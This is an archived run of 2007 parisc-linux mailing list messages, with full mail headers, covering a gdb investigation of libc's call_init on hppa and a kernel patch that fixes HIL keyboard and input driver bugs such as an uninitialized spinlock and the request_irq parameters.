X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 9Au6ESZLbXBt87qHPTQ2XD8qLyUmZcjn
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24352

> See the same for INIT in /bin/sh.  However, the INIT value of interest
> here is that for /lib/libc.so.6:
> 
> dave@mx3210:~/gnu/gcc-4.3/objdir/hppa-linux/libjava$ readelf -a /lib/libc.so.6|grep INIT
>  0x0000000c (INIT)                       0x1f164
> 
> This was the value at r21 + 4.  This value also isn't an OPD.

After I sent the last message, I realized that I had  misread the bb
condition.  The execution path actually traversed the code to setup an OPD:

(gdb) disass 0x400d7854 0x400d78a4
Dump of assembler code from 0x400d7854 to 0x400d78a4:
0x400d7854 <call_init+344>:     stw r22,-78(sp)
0x400d7858 <call_init+348>:     ldw 2c(r3),r20
0x400d785c <call_init+352>:     ldo -78(sp),r22
0x400d7860 <call_init+356>:     depwi -1,30,1,r22
0x400d7864 <call_init+360>:     ldw 4(r20),ret0
0x400d7868 <call_init+364>:     b,l 0x400d77c4 <call_init+200>,r0
0x400d786c <call_init+368>:     stw ret0,-74(sp)

(gdb) x/2x $sp - 0x78
0xc030ec08:     0x4073b164      0x40df252f
(gdb) p/x $ret0
$1 = 0x40df252f
(gdb) p/x $r20
$2 = 0x4086221c
(gdb) x/2x $r20
0x4086221c <.LC2+84>:   0x00000003      0x40df252f
(gdb) p/x $r3
$3 = 0x400010b0
(gdb) p/x $r3 + 0x2c
$4 = 0x400010dc
(gdb) x/x 0x400010dc
0x400010dc:     0x4086221c

So, the r19 value came from the OPD.  This value was loaded from
memory at 0x400d7864.  The value of r20 used in this insn was loaded
at 0x400d7858.  The values in memory and r20 are consistent.  The
values in memory and ret0 are also consistent.

(gdb) info sharedlib
>>>From        To          Syms Read   Shared Object Library
0x404dda70  0x40508088  Yes         /lib/libncurses.so.5
0x40317e44  0x40318fc0  Yes         /lib/libdl.so.2
0x4073ac50  0x40829a64  Yes         /lib/libc.so.6
0x400cccd0  0x400def18  Yes         /lib/ld.so.1

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:41 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [PARISC] fix uninitialized spinlock in HIL
	keyboard driver
Date: Sun, 18 Feb 2007 16:15:13 +0100
Lines: 36
Approved: news@gmane.org
Message-ID: <200702181615.14056.deller__43236.3533335321$1416624297$gmane$org@gmx.de>
References: <11717457251848-git-send-email-kyle@parisc-linux.org>
	<200702172321.37036.deller@gmx.de>
	<200702180224.48281.dtor@insightbb.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="utf-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624297 22838 80.91.229.3 (22 Nov 2014 02:44:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:57 +0000 (UTC)
Cc: akpm@osdl.org,
 parisc-linux@lists.parisc-linux.org
To: Dmitry Torokhov <dtor@insightbb.com>
Original-X-From: - Wed Jul 02 21:27:38 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 18 Feb 2007 15:15:40 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx098) with SMTP; 18 Feb 2007 16:15:40 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 461787DAC6;
	Sun, 18 Feb 2007 08:15:36 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30437-03; Sun, 18 Feb 2007 08:15:36 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id F295E7DACD;
	Sun, 18 Feb 2007 08:15:33 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 72C347DAC2
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 18 Feb 2007 08:15:29 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30357-05 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 18 Feb 2007 08:15:27 -0700 (MST)
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by free.linux.hp.com (Postfix) with SMTP id 54E3F7DAB2
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 18 Feb 2007 08:15:27 -0700 (MST)
Original-Received: (qmail invoked by alias); 18 Feb 2007 15:15:26 -0000
User-Agent: KMail/1.9.6
In-Reply-To: <200702180224.48281.dtor@insightbb.com>
X-Face: *4/{KL3=jWs!v\UO#3e7~Vb1~CL@oP'~|*/M$!9`tb2[;
	fY@)WscF2iV7`,a$141g'o,=?utf-8?q?7X=0A=09=3FBt1Wb=3AL7K6z-?=<?-+-13|S_ixrq58*E`)ZkSe~NSI?u=89G'J<n]7\?[)LCCBZc}~[j(=?utf-8?q?e=7D=0A=09=60-QV=7B=23=25=26=5B=3F=5EfAke6t8QbP=3Bb=27XB?=,ZU84HeThMrO(@/K.`jxq9P({V(AzezCKMxk\F2^p^+"=?utf-8?q?=0A=09=5B?="ppalbA!zy-l)^Qa3*u/Z-1W3,o?2fes2_d\u=1\E9N+~Qo
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: r1TgcF8Ybmw74a2HZzdLollHUzc4clGE
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24353

On Sunday 18 February 2007, Dmitry Torokhov wrote:
> Hi Helge,
> 
> On Saturday 17 February 2007 17:21, Helge Deller wrote:
> > 
> > Can you drop this ^^ piece of this patch ?
> > Cyrill V. Gorcunov's (<gorcunov@gmail.com>) HP300 patches from a few days ago
> > are more correct since they include the release_region() call. 
> > 
> 
> I have 2 patches from Cyrill applied to my tree:
>  - one from couple days ago dealing with release_region() (2nd version that was
>    acked by you)
>  - another came to me throughg Andrew and deals with handling errors from
>    input_register_device(), request_region(), request_irq() + whitespace cleanup.
> 
> 
> > Or, if you want, I can resend this whole patch against your input-tree ?
> > Just let me know...
> > 
> 
> If you could redo the patches against my tree that would be nice - I am having
> trouble applying "[PARISC] hp_sdc: fix request_irq()/free_irq() parameters"
> 
> Btw, is there any chance we coudl fix the code style in hil drivers. They are
> very different from the rest of the kernel. Something like patch below...

Sure, I'll do both and send you seperate patches soon.

Helge
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:41 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [PARISC] fix uninitialized spinlock in HIL
	keyboard driver
Date: Sun, 18 Feb 2007 16:55:14 +0100
Lines: 250
Approved: news@gmane.org
Message-ID: <200702181655.14483.deller__3448.54856743968$1416624298$gmane$org@gmx.de>
References: <11717457251848-git-send-email-kyle@parisc-linux.org>
	<200702180224.48281.dtor@insightbb.com>
	<200702181615.14056.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="utf-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624298 22841 80.91.229.3 (22 Nov 2014 02:44:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:58 +0000 (UTC)
Cc: akpm@osdl.org,
 parisc-linux@lists.parisc-linux.org
To: Dmitry Torokhov <dtor@insightbb.com>
Original-X-From: - Wed Jul 02 21:27:38 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 18 Feb 2007 15:57:32 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx094) with SMTP; 18 Feb 2007 16:57:32 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 81D937DAD3;
	Sun, 18 Feb 2007 08:57:29 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30654-08; Sun, 18 Feb 2007 08:57:29 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 39A5B7DAD6;
	Sun, 18 Feb 2007 08:57:27 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 66D637DA9B
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 18 Feb 2007 08:57:24 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30654-05 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 18 Feb 2007 08:57:22 -0700 (MST)
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by free.linux.hp.com (Postfix) with SMTP id 1FF8B7DA97
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 18 Feb 2007 08:57:21 -0700 (MST)
Original-Received: (qmail invoked by alias); 18 Feb 2007 15:57:21 -0000
User-Agent: KMail/1.9.6
In-Reply-To: <200702181615.14056.deller@gmx.de>
X-Face: *4/{KL3=jWs!v\UO#3e7~Vb1~CL@oP'~|*/M$!9`tb2[;
	fY@)WscF2iV7`,a$141g'o,=?utf-8?q?7X=0A=09=3FBt1Wb=3AL7K6z-?=<?-+-13|S_ixrq58*E`)ZkSe~NSI?u=89G'J<n]7\?[)LCCBZc}~[j(=?utf-8?q?e=7D=0A=09=60-QV=7B=23=25=26=5B=3F=5EfAke6t8QbP=3Bb=27XB?=,ZU84HeThMrO(@/K.`jxq9P({V(AzezCKMxk\F2^p^+"=?utf-8?q?=0A=09=5B?="ppalbA!zy-l)^Qa3*u/Z-1W3,o?2fes2_d\u=1\E9N+~Qo
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: VUDrcSQZf2I/p4icY2xoCBlwdWxlc1bW
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24354

On Sunday 18 February 2007, Helge Deller wrote:
> On Sunday 18 February 2007, Dmitry Torokhov wrote:
> > If you could redo the patches against my tree that would be nice - I am having
> > trouble applying "[PARISC] hp_sdc: fix request_irq()/free_irq() parameters"
> >
> > Btw, is there any chance we coudl fix the code style in hil drivers. They are
> > very different from the rest of the kernel. Something like patch below...

> Sure, I'll do both and send you seperate patches soon.

Hi Dmitry,

Here is the patch and patchtext for the bugfixes which should cleanly apply to your git tree.
The coding-style cleanups will follow soon as well.
----------
Input: HIL - various fixes for HIL drivers

- mark some structures const or __read_mostly 
- hilkbd.c: fix uninitialized spinlock in HIL keyboard driver
- hil_mlc.c: use USEC_PER_SEC instead of 1000000
- hp_sdc: bugfix for request_irq()/free_irq() parameters, this prevented 
                  multiple load/unload cycles as module

Signed-off-by: Helge Deller <deller@gmx.de>
----------
diff --git a/drivers/input/keyboard/hil_kbd.c b/drivers/input/keyboard/hil_kbd.c
index 7cc9728..779322e 100644
--- a/drivers/input/keyboard/hil_kbd.c
+++ b/drivers/input/keyboard/hil_kbd.c
@@ -51,7 +51,7 @@ MODULE_LICENSE("Dual BSD/GPL");
 
 #define HIL_KBD_SET1_UPBIT 0x01
 #define HIL_KBD_SET1_SHIFT 1
-static unsigned int hil_kbd_set1[HIL_KEYCODES_SET1_TBLSIZE] = 
+static unsigned int hil_kbd_set1[HIL_KEYCODES_SET1_TBLSIZE] __read_mostly = 
 	{ HIL_KEYCODES_SET1 };
 
 #define HIL_KBD_SET2_UPBIT 0x01
@@ -60,10 +60,10 @@ static unsigned int hil_kbd_set1[HIL_KEY
 
 #define HIL_KBD_SET3_UPBIT 0x80
 #define HIL_KBD_SET3_SHIFT 0
-static unsigned int hil_kbd_set3[HIL_KEYCODES_SET3_TBLSIZE] =
+static unsigned int hil_kbd_set3[HIL_KEYCODES_SET3_TBLSIZE] __read_mostly =
 	{ HIL_KEYCODES_SET3 };
 
-static char hil_language[][16] = { HIL_LOCALE_MAP };
+static const char hil_language[][16] = { HIL_LOCALE_MAP };
 
 struct hil_kbd {
 	struct input_dev *dev;
@@ -368,7 +368,7 @@ static struct serio_device_id hil_kbd_id
 	{ 0 }
 };
 
-struct serio_driver hil_kbd_serio_drv = {
+static struct serio_driver hil_kbd_serio_drv = {
 	.driver		= {
 		.name	= "hil_kbd",
 	},
diff --git a/drivers/input/keyboard/hilkbd.c b/drivers/input/keyboard/hilkbd.c
index 4de4dc2..230f5db 100644
--- a/drivers/input/keyboard/hilkbd.c
+++ b/drivers/input/keyboard/hilkbd.c
@@ -3,7 +3,7 @@
  *
  *  Copyright (C) 1998 Philip Blundell <philb@gnu.org>
  *  Copyright (C) 1999 Matthew Wilcox <willy@bofh.ai>
- *  Copyright (C) 1999-2006 Helge Deller <deller@gmx.de>
+ *  Copyright (C) 1999-2007 Helge Deller <deller@gmx.de>
  *
  *  Very basic HP Human Interface Loop (HIL) driver.
  *  This driver handles the keyboard on HP300 (m68k) and on some
@@ -89,7 +89,7 @@ MODULE_LICENSE("GPL v2");
 #define	HIL_READKBDSADR		0xF9
 #define	HIL_WRITEKBDSADR	0xE9
 
-static unsigned int hphilkeyb_keycode[HIL_KEYCODES_SET1_TBLSIZE] =
+static unsigned int hphilkeyb_keycode[HIL_KEYCODES_SET1_TBLSIZE] __read_mostly =
 	{ HIL_KEYCODES_SET1 };
 
 /* HIL structure */
@@ -211,6 +211,7 @@ hil_keyb_init(void)
 		return -ENODEV; /* already initialized */
 	}
 
+	spin_lock_init(&hil_dev.lock);
 	hil_dev.dev = input_allocate_device();
 	if (!hil_dev.dev)
 		return -ENOMEM;
diff --git a/drivers/input/serio/hil_mlc.c b/drivers/input/serio/hil_mlc.c
index 4fa93ff..0710704 100644
--- a/drivers/input/serio/hil_mlc.c
+++ b/drivers/input/serio/hil_mlc.c
@@ -408,7 +408,7 @@ static int hilse_operate(hil_mlc *mlc, i
 #define OUT_LAST(pack) \
 { HILSE_OUT_LAST,	{ .packet = pack }, 0, 0, 0, 0 },
 
-struct hilse_node hil_mlc_se[HILSEN_END] = {
+const struct hilse_node hil_mlc_se[HILSEN_END] = {
 
 	/* 0  HILSEN_START */
 	FUNC(hilse_init_lcv, 0,	HILSEN_NEXT,	HILSEN_SLEEP,	0)
@@ -530,7 +530,7 @@ struct hilse_node hil_mlc_se[HILSEN_END]
 	/* 60 HILSEN_END */
 };
 
-static inline void hilse_setup_input(hil_mlc *mlc, struct hilse_node *node) {
+static inline void hilse_setup_input(hil_mlc *mlc, const struct hilse_node *node) {
 
 	switch (node->act) {
 	case HILSE_EXPECT_DISC:
@@ -563,21 +563,19 @@ static inline void hilse_setup_input(hil
 #ifdef HIL_MLC_DEBUG
 static int doze = 0;
 static int seidx; /* For debug */
-static int kick = 1;
 #endif
 
 static int hilse_donode (hil_mlc *mlc) {
-	struct hilse_node *node;
+	const struct hilse_node *node;
 	int nextidx = 0;
 	int sched_long = 0;
 	unsigned long flags;
 
 #ifdef HIL_MLC_DEBUG
 	if (mlc->seidx && (mlc->seidx != seidx)  && mlc->seidx != 41 && mlc->seidx != 42 && mlc->seidx != 43) {
-	  printk(KERN_DEBUG PREFIX "z%i \n%s {%i}", doze, kick ? "K" : "", mlc->seidx);
+	  printk(KERN_DEBUG PREFIX "z%i \n {%i}", doze, mlc->seidx);
 		doze = 0;
 	}
-	kick = 0;
 
 	seidx = mlc->seidx;
 #endif
@@ -588,7 +586,7 @@ static int hilse_donode (hil_mlc *mlc) {
 		hil_packet pack;
 
 	case HILSE_FUNC:
-		if (node->object.func == NULL) break;
+		BUG_ON(node->object.func == NULL);
 		rc = node->object.func(mlc, node->arg);
 		nextidx = (rc > 0) ? node->ugly : 
 			((rc < 0) ? node->bad : node->good);
@@ -674,10 +672,10 @@ static int hilse_donode (hil_mlc *mlc) {
 		if (!sched_long) goto sched;
 
 		do_gettimeofday(&tv);
-		tv.tv_usec += 1000000 * (tv.tv_sec - mlc->instart.tv_sec);
+		tv.tv_usec += USEC_PER_SEC * (tv.tv_sec - mlc->instart.tv_sec);
 		tv.tv_usec -= mlc->instart.tv_usec;
 		if (tv.tv_usec >= mlc->intimeout) goto sched;
-		tv.tv_usec = (mlc->intimeout - tv.tv_usec) * HZ / 1000000;
+		tv.tv_usec = (mlc->intimeout - tv.tv_usec) * HZ / USEC_PER_SEC;
 		if (!tv.tv_usec) goto sched;
 		mod_timer(&hil_mlcs_kicker, jiffies + tv.tv_usec);
 		break;
@@ -837,7 +835,7 @@ static void hil_mlc_serio_close(struct s
 	/* TODO wake up interruptable */
 }
 
-static struct serio_device_id hil_mlc_serio_id = {
+static const struct serio_device_id hil_mlc_serio_id = {
 	.type = SERIO_HIL_MLC,
 	.proto = SERIO_HIL,
 	.extra = SERIO_ANY,
@@ -873,6 +871,8 @@ int hil_mlc_register(hil_mlc *mlc) {
 		hil_mlc_copy_di_scratch(mlc, i);
 		mlc_serio = kzalloc(sizeof(*mlc_serio), GFP_KERNEL);
 		mlc->serio[i] = mlc_serio;
+		snprintf(mlc_serio->name, sizeof(mlc_serio->name)-1, "HIL_SERIO%d", i);
+		snprintf(mlc_serio->phys, sizeof(mlc_serio->phys)-1, "HIL%d", i);
 		mlc_serio->id			= hil_mlc_serio_id;
 		mlc_serio->write		= hil_mlc_serio_write;
 		mlc_serio->open			= hil_mlc_serio_open;
diff --git a/drivers/input/serio/hp_sdc.c b/drivers/input/serio/hp_sdc.c
index b57370d..353a8a1 100644
--- a/drivers/input/serio/hp_sdc.c
+++ b/drivers/input/serio/hp_sdc.c
@@ -748,7 +748,7 @@ void hp_sdc_kicker (unsigned long data) 
 
 #if defined(__hppa__)
 
-static struct parisc_device_id hp_sdc_tbl[] = {
+static const struct parisc_device_id hp_sdc_tbl[] = {
 	{
 		.hw_type =	HPHW_FIO, 
 		.hversion_rev =	HVERSION_REV_ANY_ID,
@@ -817,12 +817,12 @@ static int __init hp_sdc_init(void)
 #endif	
 
 	errstr = "IRQ not available for";
-        if(request_irq(hp_sdc.irq, &hp_sdc_isr, 0, "HP SDC",
-		       (void *) hp_sdc.base_io)) goto err1;
+	if (request_irq(hp_sdc.irq, &hp_sdc_isr, IRQF_SHARED|IRQF_SAMPLE_RANDOM,
+		"HP SDC", &hp_sdc)) goto err1;
 
 	errstr = "NMI not available for";
-	if (request_irq(hp_sdc.nmi, &hp_sdc_nmisr, 0, "HP SDC NMI", 
-			(void *) hp_sdc.base_io)) goto err2;
+	if (request_irq(hp_sdc.nmi, &hp_sdc_nmisr, IRQF_SHARED,
+		"HP SDC NMI", &hp_sdc)) goto err2;
 
 	printk(KERN_INFO PREFIX "HP SDC at 0x%p, IRQ %d (NMI IRQ %d)\n", 
 	       (void *)hp_sdc.base_io, hp_sdc.irq, hp_sdc.nmi);
@@ -854,7 +854,7 @@ static int __init hp_sdc_init(void)
 	hp_sdc.dev_err = 0;
 	return 0;
  err2:
-	free_irq(hp_sdc.irq, NULL);
+	free_irq(hp_sdc.irq, &hp_sdc);
  err1:
 	release_region(hp_sdc.data_io, 2);
  err0:
@@ -898,8 +898,8 @@ static void hp_sdc_exit(void)
 	/* Wait until we know this has been processed by the i8042 */
 	hp_sdc_spin_ibf();
 
-	free_irq(hp_sdc.nmi, NULL);
-	free_irq(hp_sdc.irq, NULL);
+	free_irq(hp_sdc.nmi, &hp_sdc);
+	free_irq(hp_sdc.irq, &hp_sdc);
 	write_unlock_irq(&hp_sdc.lock);
 
 	del_timer(&hp_sdc.kicker);
diff --git a/drivers/input/serio/hp_sdc_mlc.c b/drivers/input/serio/hp_sdc_mlc.c
index aa4a8a4..1f131ff 100644
--- a/drivers/input/serio/hp_sdc_mlc.c
+++ b/drivers/input/serio/hp_sdc_mlc.c
@@ -323,11 +323,12 @@ static int __init hp_sdc_mlc_init(void)
 	mlc->in			= &hp_sdc_mlc_in;
 	mlc->out		= &hp_sdc_mlc_out;
 
+	mlc->priv		= &hp_sdc_mlc_priv;
+
 	if (hil_mlc_register(mlc)) {
 		printk(KERN_WARNING PREFIX "Failed to register MLC structure with hil_mlc\n");
 		goto err0;
 	}
-	mlc->priv		= &hp_sdc_mlc_priv;
 
 	if (hp_sdc_request_hil_irq(&hp_sdc_mlc_isr)) {
 		printk(KERN_WARNING PREFIX "Request for raw HIL ISR hook denied\n");
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: call_init in libc6 2.3.6.ds1-11
Date: Sun, 18 Feb 2007 11:44:24 -0500 (EST)
Lines: 45
Approved: news@gmane.org
Message-ID: <200702181644.l1IGiOir014616__6121.93587371639$1416624298$gmane$org@hiauly1.hia.nrc.ca>
References: <200702181445.l1IEjV7B012366@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624298 22843 80.91.229.3 (22 Nov 2014 02:44:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:58 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: dave@hiauly1.hia.nrc.ca (John David Anglin)
Original-X-From: - Wed Jul 02 21:27:38 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 18 Feb 2007 16:44:37 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx014) with SMTP; 18 Feb 2007 17:44:37 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id F32847DAE4;
	Sun, 18 Feb 2007 09:44:34 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 31206-04; Sun, 18 Feb 2007 09:44:34 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C2F917DAE6;
	Sun, 18 Feb 2007 09:44:32 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 070F47DAE2
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 18 Feb 2007 09:44:29 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 31206-01 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 18 Feb 2007 09:44:27 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 4152D7DAE1
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 18 Feb 2007 09:44:27 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7) with ESMTP id l1IGiOGl014617;
	Sun, 18 Feb 2007 11:44:24 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7/Submit) id l1IGiOir014616;
	Sun, 18 Feb 2007 11:44:24 -0500 (EST)
In-Reply-To: <200702181445.l1IEjV7B012366@hiauly1.hia.nrc.ca> from "John David
	Anglin" at Feb 18, 2007 09:45:31 am
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: SbD+bU/MLi5nrvfRZWtpxDpjZml1ZJgg
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24355

> (gdb) p/x $r20
> $2 = 0x4086221c
> (gdb) x/2x $r20
> 0x4086221c <.LC2+84>:   0x00000003      0x40df252f

Comparing the setup of this region of memory in /lib/libc.so.6
